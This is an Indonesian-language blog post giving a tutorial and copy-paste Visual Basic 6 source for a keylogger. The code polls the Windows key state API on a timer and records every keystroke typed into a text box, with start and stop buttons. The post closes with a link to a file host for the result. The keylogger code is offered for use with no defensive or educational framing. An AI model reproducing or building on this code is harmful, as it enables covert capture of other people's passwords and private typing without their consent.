Cara membuat Keylogger dengan VB6

بِسْــــــــــــــــمِ اﷲِالرَّحْمَنِ اارَّحِيم

assalamualaikum.wr.wb kali ini saya akan memberikan script untuk membuat keylogger dengan VB6 langsung aja copas script nya

Alat2 yg perlu disediakan

1 buah timer interval 1
2 buah command,
command1 caption Start, Name cmdstart
command2 caption stop, name cmdStop
1 buah Text Box



'Kunjungi terus thecyberbatik.blogspot.com


'Script ini untuk Merekam semua ketikan
Dim result As Integer

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Timer1_Timer()

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)

If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
End Sub

'Script ini untuk menjalankan keylogger
Private Sub cmdStart_Click()
Timer1.Enabled = True
MsgBox "Keylog Start .", vbInformation
End Sub

'Script ini untuk menghentikan Keylogger
Private Sub cmdStop_Click()
Timer1.Enabled = False
MsgBox "Keylog Stop .", vbInformation
End Sub


Sekian Info yg saya berikan semoga bermanfaat

Yg mau liat hasilnya ni
http://www.tusfiles.net/s9jeiuujvw97

| Supported? |

Artikel Terkait VB6